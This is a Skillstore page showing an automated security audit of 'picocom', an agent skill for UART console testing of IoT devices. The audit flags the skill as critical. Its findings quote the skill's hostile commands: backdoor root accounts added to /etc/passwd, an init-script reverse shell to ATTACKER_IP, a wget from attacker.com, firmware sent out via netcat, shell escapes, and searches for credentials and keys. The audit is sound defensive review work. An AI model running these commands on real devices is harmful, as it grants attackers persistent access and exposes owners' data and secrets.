Skills picocom
📦
picocom
Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access🔑 Env variables
Audit IoT UART Consoles with picocom
UART testing can be slow when serial output is noisy and difficult to capture. This skill guides authorized serial sessions with logging, prompt detection, and structured embedded device checks.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "picocom" from https://skillstore.io/skills/brownfinesecurity-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "picocom". Monitor a device boot over UART for one minute.
Expected outcome:
A short boot timeline lists the detected baud rate, kernel messages, service starts, login prompts, and any repeated errors.
Using "picocom". Run a small command checklist on an authorized BusyBox shell.
Expected outcome:
A concise report summarizes device identity, network state, writable paths, notable services, and exact log references.
Using "picocom". Send AT commands to a modem console.
Expected outcome:
A readable response summary separates successful replies, modem errors, identifiers, and commands that need a longer timeout.
Security Audit
Criticalv10 • 7/9/2026 Open versioned report
Static findings were a mix of normal serial-device tooling and high-risk dual-use exploitation guidance. I confirmed the critical workflows around password file access, SSH persistence, backdoor accounts, bootloader root-shell bypass, credential searches, firmware extraction, network reconnaissance, and shell=True trigger execution; I dismissed documentation links, Markdown backticks, normal /dev/ttyUSB use, and log cleanup as false positives. Static review was capped at 400/457 representative findings; omitted static matches are unconfirmed, so automatic publishing stays disabled until manual review.
4
Files scanned
2,616
Lines analyzed
113
Review items
0
False positives ignored
Confirmed security concerns (67)
Critical
Sudoers file access
cat /etc/sudoers
The skill instructs reading sudoers data during post-access enumeration. This exposes privilege rules and supports escalation planning.
Critical
System password file access
cat /etc/shadow
The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.
Critical
System password file access
less /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Critical
System password file access
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
Critical
System password file access
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
Critical
System password file access
vi /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Critical
System password file access
less /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Critical
System password file access
more /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Show all 67 confirmed findings
Critical
System password file access
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
Critical
System password file access
cat /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Critical
System password file access
cat /etc/shadow # If readable - major security issue!
The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.
Critical
System password file access
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
Critical
System password file access
less /etc/passwd # Then !/bin/sh
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
Critical
SSH directory access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
Malware type keywords
**Method 2: Backdoor User Account**:
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
passwd backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo '#!/bin/sh' > /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo 'while true; do' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo ' sleep 300' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo 'done &' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
chmod +x /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
- [ ] Backdoor installation possibilities
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
# Add a backdoor user
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
passwd backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
Critical
UID/GID manipulation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet sets UID 0 before launching a shell. That is explicit privilege escalation behavior.
Critical
SSH host/auth files
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
Critical
Persistence and Backdoor Access Workflow
The skill provides a complete workflow for adding root SSH access, creating a backdoor UID 0 user, and starting a reverse shell on boot.
The cited sections contain step-by-step persistence and backdoor account instructions, not just abstract discussion.
Critical
Bootloader Authentication Bypass Guidance
The skill instructs users to modify U-Boot boot arguments to launch a root shell or single-user mode and bypass normal login controls.
The cited lines explicitly describe changing boot arguments to init=/bin/sh and then obtaining root access.
Critical
Firmware Extraction and Exfiltration Workflow
The skill walks through identifying flash partitions, dumping firmware images, and transferring the root filesystem to another host.
The cited sections combine flash dumping commands with network or removable-media transfer steps for extracted firmware.
High
Network scanning tools
nmap -sn 192.168.1.0/24
The snippet runs nmap against a local subnet from the target context. This is active network reconnaissance.
High
Certificate/key files
find / -name "*.pem" 2>/dev/null
The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.
High
Certificate/key files
find / -name "*.key" 2>/dev/null
The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.
High
Crypto seed/private key mention
# - Private keys
The line directs reviewers to look for private keys in extracted firmware. This is credential discovery in a dual-use workflow.
Medium
Network reconnaissance
ifconfig -a
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ip addr show
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
# Now you have root access - proceed with enumeration
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
netstat -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ss -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
netstat -anp
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ss -anp
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --comma
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
echo -e "help\ndate\nifconfig\nps" > commands.txt
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ifconfig, route, ping, netstat, telnet
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ifconfig -a
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ip addr show
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
netstat -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Medium
Network reconnaissance
ss -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
Low
System reconnaissance
id
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
whoami
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
uname -a
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
uname -a
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
hostname
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
cat /etc/hostname
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
id
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Low
System reconnaissance
whoami
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
Capability review items (113)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Python os.system
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.
Critical
Python os.system
python -c 'import os; os.system("/bin/sh")'
The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.
Critical
Ruby/PHP system() call
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
Critical
Ruby/PHP system() call
python -c 'import os; os.system("/bin/sh")'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
Critical
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
Critical
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
Critical
Hidden file access
mkdir -p /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
chmod 700 /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
mkdir -p /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Hidden file access
chmod 700 /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
Critical
Unix shell invocation
U-Boot> setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
5. **Once booted with init=/bin/sh**:
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
find /etc -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
vim -c ':!/bin/sh'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
perl -e 'exec "/bin/sh";'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
# Example: sudo vim -> :!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
/bin/sh -p # Runs as root
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
echo '#!/bin/sh' > /etc/init.d/S99backdoor
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
:!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
python -c 'import os; os.system("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
perl -e 'exec "/bin/sh";'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
ruby -e 'exec "/bin/sh"'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
lua -e 'os.execute("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
find / -name anything -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
# Modify boot arguments (e.g., init=/bin/sh for root shell)
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/bash"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
Critical
Unix shell invocation
/bin/bash
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
vi # Then :!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
find / -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
Critical
Hardcoded URL
wget http://attacker.com/shell.sh
The URL downloads a shell from an attacker-controlled placeholder. This is a clear payload retrieval pattern.
High
Generic API/secret keys
grep -r "api_key" /var/www/ 2>/dev/null
The snippet searches web files for API keys. This can reveal reusable application secrets.
High
Linux /proc filesystem access
cat /proc/version
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
High
Linux /proc filesystem access
cat /proc/mtd
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
High
Linux /proc filesystem access
cat /proc/net/arp
The /proc read enumerates neighboring network devices. It supports reconnaissance from the compromised device context.
High
Linux /proc filesystem access
cat /proc/version
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
High
Linux /proc filesystem access
cat /proc/cpuinfo
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
High
Linux /proc filesystem access
cat /proc/meminfo
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
High
Linux /proc filesystem access
cat /proc/mounts
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
High
Linux /proc filesystem access
cat /proc/mtd
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
High
Linux /proc filesystem access
cat /proc/partitions
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
High
Non-standard device file access
mount /dev/sda1 /mnt/usb
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd0 of=/mnt/usb/uboot.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd1 of=/mnt/usb/uboot-env.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd2 of=/mnt/usb/kernel.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd3 of=/mnt/usb/rootfs.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Non-standard device file access
mount /dev/sda1 /mnt
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
High
Python subprocess.run
proc = subprocess.run(
The helper executes a user-supplied trigger string with shell=True. That creates command injection and arbitrary shell execution risk.
High
sudo privilege escalation
**Check sudo permissions**:
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
High
sudo privilege escalation
sudo -l
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
High
sudo privilege escalation
# Example: sudo vim -> :!/bin/sh
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
High
sudo privilege escalation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
High
sudo privilege escalation
sudo -l
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
High
Hardcoded IP address
nc 192.168.1.100 4444 < /tmp/rootfs.bin
The snippet transfers a firmware image over netcat to a fixed host. That is data exfiltration from the target device.
High
Hardcoded IP address
nmap -sn 192.168.1.0/24
The snippet scans a local subnet. That is active network reconnaissance.
High
Hardcoded IP address
setenv serverip 192.168.1.100
The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.
High
Hardcoded IP address
setenv ipaddr 192.168.1.200
The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.
High
Temp directory access
dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
nc 192.168.1.100 4444 < /tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Temp directory access
cp /tmp/*.bin /mnt/
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
High
Unix shell invocation
/bin/sh
The snippet appears in a limited-shell escape scenario. Invoking a full shell can bypass restrictions.
High
Standard device file access
grep -r "password" /etc/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
find / -name "*password*" -type f 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
grep -r "password" /var/www/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
grep -r "api_key" /var/www/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
find / -name "*.pem" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
find / -name "*.key" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
find / -name "*password*" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
find / -name "*credential*" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
High
Standard device file access
grep -r "password" /etc/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
Medium
Hardcoded IP address
--trigger-script "curl http://192.168.1.100/api/reboot" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
Medium
Hardcoded IP address
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
Medium
Hardcoded IP address
--trigger-script "curl http://192.168.1.100/api/reboot" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
Medium
Hardcoded IP address
telnet 192.168.1.1
The hardcoded address is used for telnet access in an enumeration section. This may enable unsafe remote administration testing.
Medium
Unix shell invocation
:set shell=/bin/sh
The snippet references shell invocation in an exploitation workflow. Legitimate testing is possible, but the context is risky.
Medium
Hardcoded URL
--trigger-script "curl http://192.168.1.100/api/reboot" \
The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.
Medium
Hardcoded URL
--trigger-script "curl http://192.168.1.100/api/reboot" \
The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.
Medium
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find /etc/cron* -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find / -perm -2000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find / -perm -2 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find / -perm -2 -type d 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find /etc/init.d/ -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Medium
Standard device file access
find /lib/systemd/system/ -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
Risk Factors
⚙️ External commands (50)
examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 serial_helper.py:596 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40
🌐 Network access (18)
📁 Filesystem access (50)
examples.md:267 examples.md:268 examples.md:269 examples.md:270 examples.md:39 examples.md:202 examples.md:388 examples.md:14 examples.md:22 examples.md:23 examples.md:72 examples.md:142 examples.md:143 examples.md:152 examples.md:187 examples.md:405 examples.md:406 examples.md:421 examples.md:428 examples.md:431 examples.md:438 examples.md:441 examples.md:216 examples.md:219 examples.md:220 examples.md:221 examples.md:222 examples.md:225 examples.md:225 examples.md:228 OBSERVING_SESSIONS.md:14 OBSERVING_SESSIONS.md:38 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:128 OBSERVING_SESSIONS.md:155 OBSERVING_SESSIONS.md:162 OBSERVING_SESSIONS.md:207 OBSERVING_SESSIONS.md:247 OBSERVING_SESSIONS.md:279 OBSERVING_SESSIONS.md:286 OBSERVING_SESSIONS.md:301 OBSERVING_SESSIONS.md:322 OBSERVING_SESSIONS.md:363 OBSERVING_SESSIONS.md:16 OBSERVING_SESSIONS.md:22 OBSERVING_SESSIONS.md:82 OBSERVING_SESSIONS.md:83 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:96 OBSERVING_SESSIONS.md:103
🔑 Env variables (1)
Detected Patterns
Sudoers file accessSystem password file access×12SSH directory access×4Malware type keywords×15Network scanning toolsUID/GID manipulationNetwork reconnaissance×15System reconnaissance×8
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/brownfinesecurity-picocom/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
